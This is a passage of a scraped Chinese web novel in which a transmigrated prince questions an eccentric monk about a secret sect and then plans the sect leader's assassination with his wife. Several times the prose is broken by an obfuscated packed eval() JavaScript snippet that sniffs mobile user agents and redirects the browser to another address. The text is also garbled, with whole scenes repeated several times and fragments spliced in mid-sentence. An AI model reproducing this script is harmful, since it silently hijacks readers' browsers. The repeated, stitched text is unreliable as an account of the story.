“我就是知道。”林臻也懒得解释,总不能说在后世那么发达的医疗条件下,也没有人能活到二百这样的话吧。 “不,你不知道。这个世界,和你想象的不一样。” 嘶. 林臻突然倒吸一口凉气。 世界? 这句话可太像现代人了啊。 棋牌佛模样深邃,却透露着一股老态:“这个世界上有很多神奇的事情,包括贫僧之前也不相信的事情,都一一发生了,所以,年轻人,你要有敬畏之心。” 林臻突然鬼使神差地低声问了一句:“你家WIFI密码多少?” “噗什么玩意?” 到咸鱼似的,眼珠子都绿了。也不管自己用没有用过,拿起来就抽,接连抽了五袋,搞得汤屋里烟气缭绕直辣眼睛。 棋牌佛吐出一大口烟雾,满脸舒爽地说:“你懂个屁,贫僧想这口想好多年了。” “你以前抽过?” 棋牌佛突然瞪了瞪眼睛,随即摇摇头。 “真没有?”林臻狐疑地问,他很怀疑这B也是个穿越者。 棋牌佛却很笃定地说:“没有,但贫僧见识过。” “真假的。”林臻还是不相信。 这个世界根本就没有抽烟这一说,就连大男主顾北辰都不会抽烟。 棋牌佛就算学孔子游历诸国也不可能见到。 他肯定是穿越者,或者接触过别的穿越者。 只是他不愿意说,林臻也懒得问。 “说说吧,你找贫僧估计不是光是洗澡吧?” “倒也不是什么大事,但是你先告诉我,你怎么知道我会在今天找你?还特意去王府门口等我。” “你忘了贫僧是做什么的了?算命啊!贫僧掐指一算,就知道你今天要请客,嘿嘿嘿嘿~”棋牌佛笑得有些奸诈。 林臻自顾自地倒了杯茶,也不去管,他现在迫切地想知道煊赫门的事情。 甚至是煊赫门与哈德门之间的恩怨。 他问道:“跟我说说煊赫门的事情。” “唉,就知道你要问这个。”棋牌佛终于坐起身,把林臻刚倒的茶水,滋溜~喝了下去。 林臻怒气冲冲地瞪大眼睛。 奶奶的,那是我的茶杯! 放眼四九城,谁敢这么对林臻,脑瓜子早挂在城门楼子上风干了。 棋牌佛却浑然不怕:“你问贫僧,算是问对人了。这煊赫门远比你想象的要强大,也更加隐秘。如果要追根溯源,是一千三百六十八年之前。当时华夏大地还是一统的状态,国号为周。大周皇帝英明神武,一统天下,手下人才济济。这其中,就有煊赫门的创始人,韩风。 这老家伙长得一般,但就是很有才华,甚至可以说是风华绝代。而且熟知朝堂、政治、农事、帝王权术等等为官之道。在大周统一之前,他是周国的太子太保,后来老皇帝驾崩,太子上位,他就成了大周丞相,帮助太子一统天下。可以说没有韩风,就没有大周,也没有后来的煊赫门。” 林臻问道:“这么牛逼的人是怎么死的?” 棋牌佛拿茶杯的手一顿,随即舒展开来说道:“自杀。” “为什么?” 如此风华绝代的大儒竟然会选择自杀?选择长生也比自杀好啊。 棋牌佛叹了口气说道:“唉,他活得太久了,二百三十岁的时候,他不知多少代的重孙子都去世了,他经受不住这样的打击,于是就在泰山顶上跳了下去。” “你别跟我讲故事,什么人能活到二百多岁?开什么玩笑。” “你这毛头小子!”棋牌佛拿起烟袋锅子作势要敲林臻脑袋,最后想想还是放下了,“世界之大无奇不有,你才有几年阅历,怎么就知道没有人能活到二百岁呢?” “我就是知道。”林臻也懒得解释,总不能说在后世那么发达的医疗条件下,也没有人能活到二百这样的话吧。 “不,你不知道。这个世界,和你想象的不一样。” 嘶. 林臻突然倒吸一口凉气。 世界? 这句话可太像现代人了啊。 棋牌佛模样深邃,却透露着一股老态:“这个世界上有很多神奇的事情,包括贫僧之前也不相信的事情,都一一发生了,所以,年轻人,你要有敬畏之心。” 林臻突然鬼使神差地低声问了一句:“你家WIFI密码多少?” “噗什么玩意?” 到咸鱼似的,眼珠子都绿了。也不管自己用没有用过,拿起来就抽,接连抽了五袋,搞得汤屋里烟气缭绕直辣眼睛。 棋牌佛吐出一大口烟雾,满脸舒爽地说:“你懂个屁,贫僧想这口想好多年了。” “你以前抽过?” 棋牌佛突然瞪了瞪眼睛,随即摇摇头。 “真没有?”林臻狐疑地问,他很怀疑这B也是个穿越者。 棋牌佛却很笃定地说:“没有,但贫僧见识过。” “真假的。”林臻还是不相信。 这个世界根本就没有抽烟这一说,就连大男主顾北辰都不会抽烟。 棋牌佛就算学孔子游历诸国也不可能见到。 他肯定是穿越者,或者接触过别的穿越者。 只是他不愿意说,林臻也懒得问。 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林臻没好气地翻个白眼,听他继续说。 “这个韩风晚年的时候,在洞庭山上创建了一座书院,专门教授豪门世家子弟为官之道,从那以后只要是朝廷大考,前三名必定是书院里出来的人。久而久之这书院就成为了所有士子的风向标,大家都以进入书院为毕生所愿。韩风在的时候,周朝持续了几百年,后来韩风跳崖自尽,周朝就没落了,几年光景就闹得四分五裂,这才形成现在七雄鼎力的局面。” 棋牌佛顿了顿继续说道:“但是书院的影响一直都存在,甚至迄今为止书院也还在培养人才,但是随着时间的推移,书院已然转变成一个门派,也就是现在的煊赫门。其行事作风,也大不如前,但是因为势力庞大,任何国家都不敢去招惹,你小子也算是蝎子粑粑独一份了。” 言罢棋牌佛伸手入怀,在胸口搓了很大一个泥卷下来,然后弹飞。 林臻眼珠子一跳。 “我给你喊个搓澡的吧。” “行啊,搓完再叫个技师,贫僧年轻的时候最喜欢做足底了。” 这厮要不是穿越者林臻把脑袋都给他。 林臻拍了拍手,闫菲闫苗推门走了进来。 棋牌佛眼睛一亮:“呦?世子爷今天真是慷慨啊,连这样的极品都舍得献出来?” “滚蛋。”林臻怎么可能把这对极品双胞胎送出去呢,再说,这姐妹俩现在可是洗浴中心的大掌柜,总经理。 林臻问道:“人都招齐了吗?” 闫菲甜甜一笑:“回世子,都招齐了,按照您的吩咐已经对所有员工进行了为期半个月的培训,可以上岗。” “好,那就喊一个搓澡师傅进来吧,另外再叫两个技师 。让小厮把泡池里的水换掉这老东西一下泡池连水都变黄了。” “嘿嘿嘿。”棋牌佛笑得有些腼腆。 闫菲闫苗领命出去很快就有一个健壮的小伙子走了进来对林臻行礼。 “参见世子。” “唔好好给他搓搓。” “是!” 棋牌佛脱掉一身的破烂躺在助浴床上。 小伙子把特制的粗麻手套戴好 好在这私人汤屋比较宽敞用来休息的木榻和泡池、助浴不在一个房间林臻也就看不到那满地大泥卷的恶心一幕。 这时女技师也走了进来。 与后世的不同林臻招聘的技师都是从人伢子手里买来的成年大丫头。 现在百姓的生活比前几年好了许多卖儿卖女的现象也逐渐减少这三十个大丫头可是费了林臻好大一番功夫才买来的。 她本来想从燕来楼买但是想想那里的姑娘都经过系统培训不见得会忠心。 再说妓院来钱多快啊。 林臻记得以前有个窝点那里面的小姐一天接几十个客人相比之下洗浴中心的技师根本赚不到多少钱。 当然做大活儿的除外。 林臻以前有个小领导他就经常到一个洗浴中心去去一次两千。 且不说他的钱从哪来的关键是什么套餐值两千啊? 想想就有问题个老色批。 这两个女技师长相普通但胜在眉目清爽眼神干净。 见到林臻后盈盈下拜:“参见世子。” “唔这里生活还习惯吗?” 林臻像老板问候员工似的事实上也是这种关系。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190819|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个子稍微高些的技师说道:“很习惯多谢世子愿意收留奴家。” “不用谢你们的一日三餐也是你们自己赚来的今后要好好工作多和客人聊聊天知道么。” “奴家知道。” 这么好的情报中心林臻当然不会放过。 所以说他给技师开的工资很高还有提成其目的就是为了能工作的时候多打探消息。 等天道那批女子彻底洗脑成功林臻的情报组织网络就算彻底建成以后华夏各地任何大事都逃不过他的眼睛。 很快棋牌佛搓完了。 别说这老家伙皮肤还挺白只是他光着腚从助浴区里走出来让两名技师瞬间红了脸蛋。 林臻轻咳两声:“咳咳以后这种事情还多着呢 别害羞,干活吧。” “是。” 棋牌佛满脸猥琐地笑了笑躺在木榻上,林臻往边上靠了靠,腾点地方出来。 只见一名技师熟练地开始给他按脚,另一名给他按头。 老东西舒服得几乎要呻吟出来。 林臻自顾自地喝了杯茶:“别光顾着享受,再说说哈德门的事情。” “嗐,贫僧正舒服呢,改天再告诉你吧。” “停手。” 两名技师立刻停下。 棋牌佛无奈地点头:“好好好,你让她们快点开始。” 林臻给她们俩一个眼神,后者立刻又按摩起来。 棋牌佛说道:“这哈德门是韩风的政治对手建立的,但并不是什么大门派,而且早就已经没落了,只不过现在还有信奉的弟子在苟延残喘而已,对你构不成什么威胁。” “那到底怎么才能除掉煊赫门?或者他们有没有什么特殊的特点?像令牌,服饰之类的。” “煊赫门只有高级弟子才配有令牌,其他的一律没有,你想通过特定在官场里把他们抓出来,很难。再说,你大乾本身煊赫门的官员就不多,以前的顾云霆是、还有大理寺卿谭武,谷中满,这都是煊赫门的人,但也都被你除掉了。” “你怎么知道大乾境内煊赫门的人少?” 第372章 疼死贫僧了 “因为你大乾最穷啊,哪个当官的不想去大国拼个前程?在你乾国,指不定官位还没坐稳就被吞并了,亡国的臣子不好当。你想想看,如果你是煊赫门弟子,你会把学来的知识卖给大乾吗?” “呵。”林臻轻笑道:“他们肯定想不到,大乾在我的带领下居然打败了楚国,跻身第一强国。” “说的就是,所以你要庆幸。” “那下一步呢?到底怎么样才能毁掉煊赫门?” “不可能的事情。” 砰—— 林臻狠狠在棋牌佛脸上踹了一脚。 棋牌佛疼得直吸凉气,拧着眉毛问道:“你这臭小子,不知道尊老爱幼吗?哎呦,疼死贫僧了.” “说!” “行行行,看你那着急的样子。”棋牌佛摸了摸技师的大腿,表情舒缓了些,“要干掉煊赫门其实并不难,只要你弄死韩天星,煊赫门群龙无首,势力自然大减。又或者,你直接干掉南楚也行。” “想利用我去帮你干脏事?呵,你拿我当三岁孩子呢。” “你在贫僧眼中就和三岁的孩子没区别。”棋牌佛伸个懒腰,“行了行了,该告诉你的都告诉你了,不该告诉你的,你就是打死贫僧,贫僧也不会说。别在这耗时间,赶紧去办你的事情吧。” 这老头总是这样神神秘秘,神神叨叨的。 也不知道说的话里有几句真,几句假。 不过从仅有的几次打交道的过程来看,他说的话,大部分是真的。 既然如此,那我就去安排一场暗杀也并无不可。 这对天道来说,简直是老本行,没有比这再熟悉的任务了。 寒冬腊月,王府内院却依旧热闹非凡,丝毫不见半分冷清之意。 红绸在凛冽的寒风中烈烈作响。仆人们呵着白气,匆忙的脚步在积雪上留下一串串深深浅浅的印记,手中捧着珍玩、锦缎、礼器等等,不断往新房里送去。 按照林臻的建议,院角,匠人正精心雕琢着龙凤呈祥的冰雕。 冰屑纷飞,在阳光的折射下散发出五彩光芒,周围人无不对此巧夺天工之物暗暗惊叹。 屋内,绣娘们围坐暖炉,手中针线不停,新被褥,新衣裳,新锦袍等等一件件从里面送出来。 此时,一阵喧闹打破了内院的和谐。 只见一只威风凛凛的大老虎狂奔着跑进院子。 它那身皮毛在雪光映照下,油亮顺滑,犹如黑色绸缎,更添几分霸气。 然而周围人却都只是淡 淡看了一眼,根本没人去管。 有趣的是,它身后还拖着个人。 狼狈不堪的二狗衣衫凌乱,头发上沾满了杂草,脸上一道黑一道白,双手死死地拽着来福尾巴,嘴里叫嚷着:“来福大爷,您可消停会儿吧,小的求您了!” 那模样要多滑稽有多滑稽,引得周围仆人纷纷侧目,却又不敢放肆大笑。 来福仿若未闻,庞大的身躯灵活地穿梭在杂物之间。 小厮刚贴上去的红纸,瞬间被它一爪子撕了下来,纸屑飘飘扬扬散落一地。 紧接着,它又大掌一挥,“啪”的一声,一座冰雕也惨遭毒手,断裂的冰块四处飞溅。 小厮吓得脸色惨白,“扑通”一声跪倒在地,双手合十,苦苦哀求道:“来福大爷,您就行行好吧!您再这么折腾下去,这活可咋干得完啊?管家要是怪罪下来,小的可吃罪不起啊!” 然而来福不仅没有收敛,反而嚣张地啐了小厮一脸唾沫,接着摇头晃脑,呲着大牙,甚是得意。 突然,它那灵敏的鼻子微微一动,似乎闻到了熟悉的气息,瞬间来了精神,撒开四蹄,朝着院门口奔去。 林臻见状,脸上笑意瞬间绽放,稳稳张开双臂,将这庞然大物搂入怀中,还亲昵地揉了揉它毛茸茸的大脑袋,笑骂道:“你这调皮鬼,又惹什么乱子了?” 来福却只是呜呜低吟,脑袋在林臻怀里蹭个不停,似在撒娇邀宠。 林臻看向一旁正手忙脚乱整理仪容的二狗,问道:“你这什么情况?” 二狗哭丧着脸回道:“世子,来福今儿个不知怎的,对所有东西都兴致极高,满院子来回乱窜,小的想阻拦,就被它拖了一路。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190820|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 说着,还心有余悸地拍了拍胸口。 林臻忍俊不禁,又逗弄了来福几下,最后双手揪住它的大耳朵。 “不许调皮!更不许打扰人家干活!听到了没!” “呜呜.” “真乖。” “来福最近吃得好吗?”这句话是问二狗的。 二狗回答道:“没有前阵子好,可能是羊下水吃腻了,昨天后厨从蛮蒙客商那里买了一头牛,打算给来福煮点牛杂。” “唔,来福想吃什么就吃什么,你们要想办法去找,钱不够就去找管家要。” “是。” 林臻站起来,来福还一个劲儿地往他身上跳。 林臻这才发现,来福站起来已经和自己差不多高了,体重怎么说也得有二百多斤。 长得真快啊。 来福把两只前爪搭在林臻肩膀上,一人一兽像兄弟似的,林臻又问二狗:“你若是不愿意管来福,就回到军营里去。” “世子,属下绝没有这个意思,况且这么长时间属下也和来福有了感情,不愿意走。” “行,那就继续干,伺候它跟伺候我是一样的。” “是。” 林臻也是一朝被蛇咬十年怕井绳。 二狗背叛过他,他虽然没有下重手处置,但以后也绝不会再把他带在身边了。 二狗也是明白这个道理,所以伺候来福时也算尽心尽力。 林臻把来福放下,抬脚向青霞仙子的别院走去。 谁知来福不同意,非要跟着林臻,二狗怎么抱都不走。 最后也只得作罢。 一路上,积雪在林臻和来福脚下发出“咯吱咯吱”的声响,寒风撩动衣角,林臻却浑然不觉。 绕过几处回廊,林臻来到别院前。 推门而入,暖意裹挟着淡雅的花香扑面而来。 屋内,青霞仙子正坐在暖榻上,面前矮桌上摆放着各类精致的绣线与布料,她素手拈针,专注地绣着一幅婴儿襁褓。 绣布上,龙凤呈祥的图案已初见雏形,针法细腻,丝线流光。 第373章 刀一个人的眼神是藏不住的 很难想象一个从小提剑的人,做起手工活来居然也这么厉害。 她的弟子海棠安静地坐在一旁,帮忙整理着丝线,目光却时不时飘向门口,待看到林臻身影的瞬间,眼中闪过一抹难以掩饰的光亮,随即又慌乱地低下头去。 不知不觉,手中的丝线乱了。 她的心也跟着乱了。 听得开门声,青霞仙子抬起头,见是林臻,嘴角勾起一抹浅笑:“呦,还真是稀客呢,你不去筹备婚礼,今天怎么有空过来?” 说罢,目光扫向窗外忙碌的景象,眼中满是打趣。 林臻微微一怔,目光掠过青霞仙子,落在她微微隆起的腹部,眼中闪过一丝不易察觉的柔情。 她到底还是怀孕了。 孙之推亲自确诊。 也不知道她母亲当初是怎么看出来的。 青霞仙子见他看着自己独自,捂嘴轻笑,眼眸中波光流转:“妾身怀孕呢,你要使坏去找别的姐妹。” 说着她居然下意识地看向海棠。 这让海棠更加不敢抬头了。 林臻没想那么多,来到床边坐下,伸手把青霞手中的襁褓拿过来,仔细翻看,啧啧称奇。 “啧,没想到啊,你居然还会女红。” “切~不会还不让人学?” “你是进府以后才学的?” “不然呢?总不能天天提着大宝剑满院子乱逛吧?妾身又不是王胖子,逛个青楼都得带陌刀。” 此言有理。 女孩子嘛,文文静静的肯定要比打打杀杀的要强。 海棠起身去倒茶,林臻把襁褓放在矮桌上,表情有些严肃:“青霞,我想暗杀一个人。” 青霞仙子笑意顿敛,同时放下手中针线,轻声道:“杀谁?” 这时海棠把两杯热气腾腾的茶盏放在爱桌上,路过林臻时,抬眸飞快地看了一眼,那眼神里藏着关切、爱慕,还有一丝因羞涩而强行压抑的紧张,随后匆匆低下头,走向一边。 一时间屋内静谧,唯闻炭火偶尔的噼啪声。 林臻双眉紧锁,说道:“韩天星。” 青霞仙子抬手轻抚鬓边发丝,轻声问道:“你说的是煊赫门门柱?为什么?就因为他使了几次坏?” 林臻深吸一口气,缓缓道:“他是煊赫门的领袖,我们想除掉煊赫门就必须先除掉他。再者,他现在和顾北辰在南楚帮助楚霸天,探子传来消息说,那边在经历一场很大的改革。我细想之下,觉得不能任由其发展下去,必须得想办 法。” “夫君的担心并非没有道理,只是杀韩天星不是那么简单的事情,你是听谁建议的?” “一个很奇怪的人。” “他会不会是在利用你?这江湖门派纷争,尔虞我诈,夫君还是需要谨慎些。” 这点林臻也思考过。 不管棋牌佛是什么目的,韩天星都是煊赫门的领袖,只要除掉他,煊赫门必定内乱,从而就没功夫针对自己了,另外韩天星一死,楚国光靠一个顾北辰根本成不了事。 一举两得。 所以林臻对此很有兴趣。 “我思考过,就算对方是在利用我,我恐怕也得去试试。因为只要事情办成,对我们的好处将无穷无尽。” 青霞仙子单手撑着额头:“妾身懂得,只是此人难杀。韩天星身份尊崇,平日里出入皆有大批护卫相随,近身刺杀几乎毫无可能,想要取他性命,只能远距离下手,可如此一来,变数大增。” 一直未语的海棠此刻突然上前,双手握拳,目光坚定:“师父,我去!” 青霞仙子与林臻皆是一怔。 青霞仙子率先反应过来,转过头,眼神中满是不赞同:“海棠,不可莽撞。虽然你箭术了得,但是轻功太差。一旦暴露,十死无生。” 海棠咬唇,抬眼看了看林臻,又低下头去,倔强道:“师父,徒儿明白其中凶险,可世子的事情就是天大的事情,即便有危险,弟子也愿意试一试。” 林臻望着这一幕,心中微微有些感动。 这傻丫头不会喜欢上自己了吧? 说好的侠客无情呢? 林臻说道:“海棠,光凭你自己是杀不掉韩天星的,我们还需要从长计议。” 海棠还欲再言,青霞仙子抬手制止:“听话。” 海棠抿嘴,心有不甘却乖巧点头,退回师父身后。 此时,屋外丫鬟禀报:“世子,宗主,孙神医求见。” 因为晴雯和青霞都有了身孕,孙之推更是别想离开王府了。 除了大儿子继承他的衣钵留在医馆继续为百姓看病外,他自己也在王府围墙边角处开了个小门,每日亲自会诊。 早晨、中午、傍晚,孙之推一天给两女把三次脉,少一次林震仙就要敲开他的头盖骨。 林臻与青霞仙子对视。 “快请。” 须臾,孙之推神医步入,拱手行礼:“世子,夫人。老朽来为夫人复诊。” 林臻笑道:“有劳孙神仙。” 青霞仙子也缓 缓起身,坐直身体:“劳烦神医了。” 神医示意青霞仙子躺好,三指搭腕,微闭双目诊脉。 片刻后,睁眼笑道:“恭喜世子,夫人胎象稳固,胎儿安好,不必担心。” 林臻、青霞仙子喜形于色,林臻道:“多谢孙神仙。” 孙之推离去,屋内气氛稍缓。 林臻看向青霞仙子:“你有身孕,万事以身体为重,韩天星的事情我再想办法吧。” 言罢林臻就要走。 谁知这时青霞突然拉住他的手腕:“等等!夫君,我想起来一个办法!” “什么办法?” “让我母亲,陪着海棠一起去!” “啊?” 丈母娘亲自出马!? 林臻略微有些尴尬,“这不好吧.” “有什么不好的?我母亲在府里闲着也是闲着,不如出去走走,再说”青霞脸上突然闪过一丝羞涩,“想嫁给你,不准备点嫁妆怎么行?” 嘶. 有道理! 非常有道理! 让老宗主亲自出马去杀韩天星,成了就当是青霞嫁进来的嫁妆。 不成,俩人也能全身而退。 “好,就依你之计。” “嘻嘻,不过夫君,妾身问你个事情。” “哦?什么事情,你说。” 青霞看了看还不知道发生什么事情的海棠,娇笑道:“你什么时候把海棠也收了吧,这妮子都等不及了。” 缓起身,坐直身体:“劳烦神医了。” 神医示意青霞仙子躺好,三指搭腕,微闭双目诊脉。 片刻后,睁眼笑道:“恭喜世子,夫人胎象稳固,胎儿安好,不必担心。” 林臻、青霞仙子喜形于色,林臻道:“多谢孙神仙。” 孙之推离去,屋内气氛稍缓。 林臻看向青霞仙子:“你有身孕,万事以身体为重,韩天星的事情我再想办法吧。” 言罢林臻就要走。 谁知这时青霞突然拉住他的手腕:“等等!夫君,我想起来一个办法!” “什么办法?” “让我母亲,陪着海棠一起去!” “啊?” 丈母娘亲自出马!? 林臻略微有些尴尬,“这不好吧.” “有什么不好的?我母亲在府里闲着也是闲着,不如出去走走,再说”青霞脸上突然闪过一丝羞涩,“想嫁给你,不准备点嫁妆怎么行?” 嘶. 有道理! 非常有道理! 让老宗主亲自出马去杀韩天星,成了就当是青霞嫁进来的嫁妆。 不成,俩人也能全身而退。 “好,就依你之计。” “嘻嘻,不过夫君,妾身问你个事情。” “哦?什么事情,你说。” 青霞看了看还不知道发生什么事情的海棠,娇笑道:“你什么时候把海棠也收了吧,这妮子都等不及了。” 缓起身,坐直身体:“劳烦神医了。” 神医示意青霞仙子躺好,三指搭腕,微闭双目诊脉。 片刻后,睁眼笑道:“恭喜世子,夫人胎象稳固,胎儿安好,不必担心。” 林臻、青霞仙子喜形于色,林臻道:“多谢孙神仙。” 孙之推离去,屋内气氛稍缓。 林臻看向青霞仙子:“你有身孕,万事以身体为重,韩天星的事情我再想办法吧。” 言罢林臻就要走。 谁知这时青霞突然拉住他的手腕:“等等!夫君,我想起来一个办法!” “什么办法?” “让我母亲,陪着海棠一起去!” “啊?” 丈母娘亲自出马!? 林臻略微有些尴尬,“这不好吧.” “有什么不好的?我母亲在府里闲着也是闲着,不如出去走走,再说”青霞脸上突然闪过一丝羞涩,“想嫁给你,不准备点嫁妆怎么行?” 嘶. 有道理! 非常有道理! 让老宗主亲自出马去杀韩天星,成了就当是青霞嫁进来的嫁妆。 不成,俩人也能全身而退。 “好,就依你之计。” “嘻嘻,不过夫君,妾身问你个事情。” “哦?什么事情,你说。” 青霞看了看还不知道发生什么事情的海棠,娇笑道:“你什么时候把海棠也收了吧,这妮子都等不及了。” 缓起身,坐直身体:“劳烦神医了。” 神医示意青霞仙子躺好,三指搭腕,微闭双目诊脉。 片刻后,睁眼笑道:“恭喜世子,夫人胎象稳固,胎儿安好,不必担心。” 林臻、青霞仙子喜形于色,林臻道:“多谢孙神仙。” 孙之推离去,屋内气氛稍缓。 林臻看向青霞仙子:“你有身孕,万事以身体为重,韩天星的事情我再想办法吧。” 言罢林臻就要走。 谁知这时青霞突然拉住他的手腕:“等等!夫君,我想起来一个办法!” “什么办法?” “让我母亲,陪着海棠一起去!” “啊?” 丈母娘亲自出马!? 林臻略微有些尴尬,“这不好吧.”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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片刻后,睁眼笑道:“恭喜世子,夫人胎象稳固,胎儿安好,不必担心。” 林臻、青霞仙子喜形于色,林臻道:“多谢孙神仙。” 孙之推离去,屋内气氛稍缓。 林臻看向青霞仙子:“你有身孕,万事以身体为重,韩天星的事情我再想办法吧。” 言罢林臻就要走。 谁知这时青霞突然拉住他的手腕:“等等!夫君,我想起来一个办法!” “什么办法?” “让我母亲,陪着海棠一起去!” “啊?” 丈母娘亲自出马!? 林臻略微有些尴尬,“这不好吧.” “有什么不好的?我母亲在府里闲着也是闲着,不如出去走走,再说”青霞脸上突然闪过一丝羞涩,“想嫁给你,不准备点嫁妆怎么行?” 嘶. 有道理! 非常有道理! 让老宗主亲自出马去杀韩天星,成了就当是青霞嫁进来的嫁妆。 不成,俩人也能全身而退。 “好,就依你之计。” “嘻嘻,不过夫君,妾身问你个事情。” “哦?什么事情,你说。” 青霞看了看还不知道发生什么事情的海棠,娇笑道:“你什么时候把海棠也收了吧,这妮子都等不及了。” 缓起身,坐直身体:“劳烦神医了。” 神医示意青霞仙子躺好,三指搭腕,微闭双目诊脉。 片刻后,睁眼笑道:“恭喜世子,夫人胎象稳固,胎儿安好,不必担心。” 林臻、青霞仙子喜形于色,林臻道:“多谢孙神仙。” 孙之推离去,屋内气氛稍缓。 林臻看向青霞仙子:“你有身孕,万事以身体为重,韩天星的事情我再想办法吧。” 言罢林臻就要走。 谁知这时青霞突然拉住他的手腕:“等等!夫君,我想起来一个办法!” “什么办法?” “让我母亲,陪着海棠一起去!” “啊?” 丈母娘亲自出马!? 林臻略微有些尴尬,“这不好吧.” “有什么不好的?我母亲在府里闲着也是闲着,不如出去走走,再说”青霞脸上突然闪过一丝羞涩,“想嫁给你,不准备点嫁妆怎么行?” 嘶. 有道理! 非常有道理! 让老宗主亲自出马去杀韩天星,成了就当是青霞嫁进来的嫁妆。 不成,俩人也能全身而退。 “好,就依你之计。” “嘻嘻,不过夫君,妾身问你个事情。” “哦?什么事情,你说。” 青霞看了看还不知道发生什么事情的海棠,娇笑道:“你什么时候把海棠也收了吧,这妮子都等不及了。” 第374章 老宗主的旧情人? 这话问的林臻微微一愣,目光不自觉的瞟向站在原地的海棠。 虽然青霞话说的突兀,但这个姑娘却并不害羞,就这么落落大方的站在那里,不知道是不在乎还是在展现自己的美。 林臻摸了摸鼻子:“这事儿以后再说。” 青霞点点头,便没有再说什么。 其实林臻本来的想法就是,这世间女人那么多,总不能自己身边每出现一个,就要收一个,那不成种马了。 就目前这些妻妾还伺候不过来呢,天天排着队等待自己临幸,时不时还会有争风吃醋的事情发生,所以说情债这种东西以后还是尽量少招惹。 海棠盯着林臻,一时间心里有些不是滋味。 若问她对林臻有没有感觉,那肯定是有的,可以说林臻是海棠唯一一个有过感觉的人。 但真的想嫁吗?想,但是没那么那么想。 就这样安安静静地陪在林臻和青霞身边,不争不抢,不吵不闹,偶尔还能帮个忙,这对从小就是孤儿的海棠来说,就是最好的生活。 至于那些所谓的情爱,来之很开心,不来也不会特别失望。 三人陷入一阵尴尬的沉默,林臻轻咳两声准备回书房,却见老宗主从外面走了进来,手里还拿着两包中药。 林臻很热情地打招呼:“老宗主。” “听说你要杀韩天星?呵,你这小子真是一天安生日子也不让老身过啊。” 这消息传得也太快了吧? 估计是有天道的高手在暗中保护青霞,听到两人的对话后偷偷告诉老宗主的。 林臻四处看了看,没看到人,于是笑着回答:“老宗主说笑了,您是正当年,出去活动活动手脚有什么不好的。” “亏你说得出来!我闺女的肚子一天比一天大,这个时候难道不该给孩子积点德?杀韩天星的任务老身不接,爱找谁找谁去。” 言罢老宗主气鼓鼓地翻个白眼,迈步走进屏风后面去捣药了。 也不知道这小老太太是哪根筋搭错了,像吃了枪药似的。 林臻回头看看青霞,发现她也是一脸无奈。 没办法,光靠海棠一个人是杀不掉韩天星的,这件事情只能再往后腾腾了。 林臻离开别院。 青霞掀开被子起身,海棠很主动地蹲下去给她穿好鞋子,随即又拿来大氅披在她肩膀上。 青霞缓步走到屏风后面,就见母亲还是一副气鼓鼓的样子,手中的捣药盘都快滚碎了。 “母亲,您这是怎 么了?” 老宗主一把将捣药盘扔掉,怒喝道:“这个林臻!也不知道是受了谁的蛊惑,难道说杀掉韩天星就能让煊赫门消失了?哪那么容易!” “母亲,林臻说的也有道理,韩天星是煊赫门领袖,杀掉他,煊赫门群龙无首,也就没工夫再针对我们家了。” “你们家?好啊好啊,人家都说嫁出去的女儿泼出去的水。这还没嫁人呢,胳膊肘就往林臻那边拐。” 青霞撒娇似的拉住老宗主的手臂摇晃:“母亲,我知道你与韩天星有旧情,但现在形式不一样了,韩天星开始和我们家作对,那就是敌人。如果你实在不愿意去,我就带着十二仙亲自出马。” “不行!你怀着孕呢,万一有了闪失怎么办?林臻也不会同意的。” “林臻不经常到我的院子里来,我赶紧去办事,速去速回。” “不行!”老宗主拧着眉毛怒吼,吓得青霞不敢再吭声。 忽然,她想起年少时的那次惊蛰,在春暖花开的河边遇到一个中年人。 那中年人给了她一根关东糖。 那是她这辈子吃过的最好吃的东西。 后来她再也没有见过那个男人,直到有一天,她在执行一次暗杀任务时,两人再次相遇。 但中年人却根本不记得她是谁了,但中年人不知道,他的身影早就被那个懵懂的少女记在心里,持续多年。 故事的主角,就是老宗主和韩天星。 所以林臻说让老宗主去暗杀韩天星的时候,她才会那么激动,那么抗拒。 老宗主收回思绪,叹了口气道:“唉,你好好在家养胎,老身一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15196244|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人去便是了。” “啊?”青霞长大嘴巴,“母亲,您一个人是杀不掉韩天星的,我不同意!” “那你说怎么办?是你夫君非要弄死韩天星的!” “唔”青霞沉思道,“还是腾一段时间再说吧,怎么样也要等到林臻大婚之后。” 